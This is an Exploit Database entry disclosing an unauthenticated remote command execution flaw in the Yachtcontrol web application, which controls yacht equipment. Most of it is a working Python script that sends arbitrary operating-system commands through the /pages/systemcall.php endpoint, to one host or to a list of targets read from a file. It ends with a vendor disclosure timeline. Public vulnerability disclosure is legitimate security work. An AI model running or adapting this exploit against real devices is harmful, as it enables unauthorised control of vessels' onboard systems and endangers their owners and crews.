Yachtcontrol Webapplication 1.0 – Unauthenticated Remote Code Execution

Exploit Database
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作者： Hodorsec

日期： 2019-12-09
类别：
- webapps
平台：
- hardware
来源：https://www.exploit-db.com/exploits/47760/

# Exploit Title: Yachtcontrol Webapplication 1.0 - Unauthenticated Remote Code Execution

# Google Dork: N/A

# Date: 2019-12-06

# Exploit Author: Hodorsec

# Vendor Homepage: http://www.yachtcontrol.nl/en/

# Version: 1.0

# Software Link: http://download.yachtcontrol.nl/klant/Software/ & http://download.yachtcontrol.nl/klant/Firmware/

# Versions: Yachtcontrol webapplication through versions dated on 2019-10-06. No versioning system detected.

# Tested on: Yachtcontrol webservers disclosed via Dutch GPRS/4G mobile IP-ranges. IP addresses vary due to DHCP client leasing of telco's.

# CVE: N/A

# Description Product:

# Yachtcontrol software is being used for controlling several aspects on yachts, as the name implies. Having access to the webapplication,

# it's possible to control several items such as lights, powergenerator, solarcontrol, airco, wipers, heating and other components.

# Websoftware is built in PHP and mostly runs on a Linux based firmware device, controlling several other components related to the Yacht.

# Other related software running on the same firmware device are custom compiled ELF binaries for controlling related onboard devices.

# Description Vulnerability:

# It's possible to perform direct Operating System commands as an unauthenticated user via the "/pages/systemcall.php?command={COMMAND}"

# page and parameter, where {COMMAND} will be executed and returning the results to the client.

# Affected Components:

# Yachtcontrol webservers using the custom PHP webapplication, versions until 2019-10-06.

#!/usr/bin/python

import sys,os,requests

# Check arguments

if len(sys.argv) != 5:

print "Error: enter at least one IP/FQDN as argument. Exiting..."

print "\nUsage: " + sys.argv[0] + " {IP/FQDN} {PORT} {PROTO} {COMMAND}\n"

exit(0)

# Parameters

host = sys.argv[1]

port = sys.argv[2]

proto = sys.argv[3]

command = sys.argv[4]

timeout = 10

isFile = False

# Check for file or single IP/FQDN

if os.path.isfile(host):

isFile = True

with open(host) as f:

targets = f.readlines()

# Vulnerable page

page = "/pages/systemcall.php?command="

# HTTP or HTTPS

if proto == "http":

proto = "http://"

elif proto == "https":

proto = "https://"

else:

print "\nInvalid method given: enter http or https\n"

exit(0)

# Do the request

if isFile:

for host in targets:

target = host.strip()

print target

try:

response = requests.get(proto + target + ":" + port + page + command, verify=False, timeout=timeout)

print(response.content.replace('executing command: ' + command,''))

except requests.exceptions.Timeout:

print "Timed out."

pass

except requests.exceptions.RequestException as e:

print "Host not found."

pass

else:

try:

response = requests.get(proto + host + ":" + port + page + command, verify=False, timeout=timeout)

print(response.content.replace('executing command: ' + command,''))

except requests.exceptions.Timeout:

print "Timed out."

pass

except requests.exceptions.RequestException as e:

print "Host not found."

pass

#Disclosure Timeline using CERT/CC disclosure policy:

#- 06-10-19: Requested CVE

#- 06-10-19: Contacted vendor for initial contact, used several publicly known mailaddresses

#- 12-10-19: Sent reminder due to no response

#- 06-11-19: Sent second reminder due to no response

#- 08-11-19: Received response requesting information, sent information

#- 11-11-19: Correspondence concerning vulnerability

#- 25-11-19: Sent reminder of publishing PoC to vendor, received response

#- 05-12-19: Sent final reminder of publishing PoC to vendor

#- 06-12-19: Public Disclosure